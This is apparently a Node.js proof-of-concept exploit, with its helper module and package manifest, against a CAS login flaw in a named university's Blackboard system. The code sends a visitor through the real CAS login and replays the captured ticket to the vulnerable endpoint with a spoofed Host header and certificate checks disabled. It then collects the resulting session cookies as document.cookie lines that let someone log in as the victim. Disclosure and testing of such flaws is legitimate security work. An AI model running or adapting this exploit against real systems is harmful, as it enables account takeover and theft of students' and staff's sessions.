const crypto = require('crypto')
const Koa = require('koa')
const session = require('koa-session')
const FakeCas = require('./lib/fake-cas')
// The koa-basic-auth module is used purely to protect this POC from being used
// by unauthorized test users.
const auth = require('koa-basic-auth')

const CAS_SERVER = 'https://login.uconn.edu'
const BLACKBOARD_INSTANCE = 'https://lms.uconn.edu'
const VULNERABLE_ENDPOINT = `/webapps/bb-auth-provider-cas-BB5849b9bae4172/execute/casLogin?cmd=login&authProviderId=_102_1&redirectUrl=${encodeURIComponent(BLACKBOARD_INSTANCE)}%2Fwebapps%2Fportal%2Fexecute%2FdefaultTab&globalLogoutEnabled=true`

const POC_APP_USERNAME = 'i-accept-that-my-login-will-be-spoofed-for-testing'
const POC_APP_PASSWORD = 'fH71FnffjycEtMLdqd2zCAwavDzW8HdCaayHrQ4E'

const app = new Koa()

app.keys = [crypto.randomBytes(256)]
app.use(session(app))

app.use(auth({ name: POC_APP_USERNAME, pass: POC_APP_PASSWORD }))

const cas = FakeCas({
  service: ctx => `https://${ctx.host}${VULNERABLE_ENDPOINT}`,
  server: CAS_SERVER
})

app.use(cas.fakeCredentialRequestor({
  attackUrl: ticket =>
    BLACKBOARD_INSTANCE +
    VULNERABLE_ENDPOINT +
    '&ticket=' + ticket
}))

app.use(async ctx => {
  ctx.body = `If I was a bad person, I would use the following cookies to login as you into ${BLACKBOARD_INSTANCE}.\n\n` +
    ctx.session.cookieString
  ctx.session = null
})

app.listen(3000)

const https = require('https')
const fetch = require('isomorphic-fetch')

function createCASMiddleware (options = {}) {
  const server = options.server
  const service = options.service
  const loginUrl = options.login || '/cas/login'

  function fakeCredentialRequestor ({ attackUrl }) {
    return async (ctx, next) => {
      if (!ctx.session.cookieString && !ctx.request.query.ticket) {
        const returnUrl = encodeURIComponent(service(ctx))
        ctx.redirect(
          server + loginUrl +
          '?service=' + returnUrl +
          '&renew=true')
        return
      }

      if (ctx.request.query.ticket) {
        const attack = attackUrl(ctx.request.query.ticket)
        const res = await fetch(attack, {
          headers: { 'host': ctx.request.host },
          // rejectUnauthorized is required since we're spoofing the host
          // header and ctx.request.host liekly won't be in the endpoint's HTTPS
          // certificate.
          agent: new https.Agent({ rejectUnauthorized: false })
        })

        const cookieString = res.headers._headers['set-cookie']
          .map(cookie => cookie.match(/^(.*?);/)[1])
          .map(cookie => `document.cookie = '${cookie}'`)
          .join('\n')

        ctx.session.cookieString = cookieString
        console.log(cookieString)

        ctx.status = 308
        ctx.redirect('/')
        return
      }

      await next()
    }
  }

  return { fakeCredentialRequestor }
}

module.exports = createCASMiddleware

{
  "private": true,
  "main": "index.js",
  "scripts": {
    "dev": "nodemon index"
  },
  "devDependencies": {
    "nodemon": "^1.17.5",
    "standard": "^11.0.1"
  },
  "dependencies": {
    "isomorphic-fetch": "^2.2.1",
    "koa": "^2.5.1",
    "koa-basic-auth": "^3.0.0",
    "koa-session": "^5.8.1",
    "query-string": "^5.0.1",
    "xml2js": "^0.4.19"
  }
}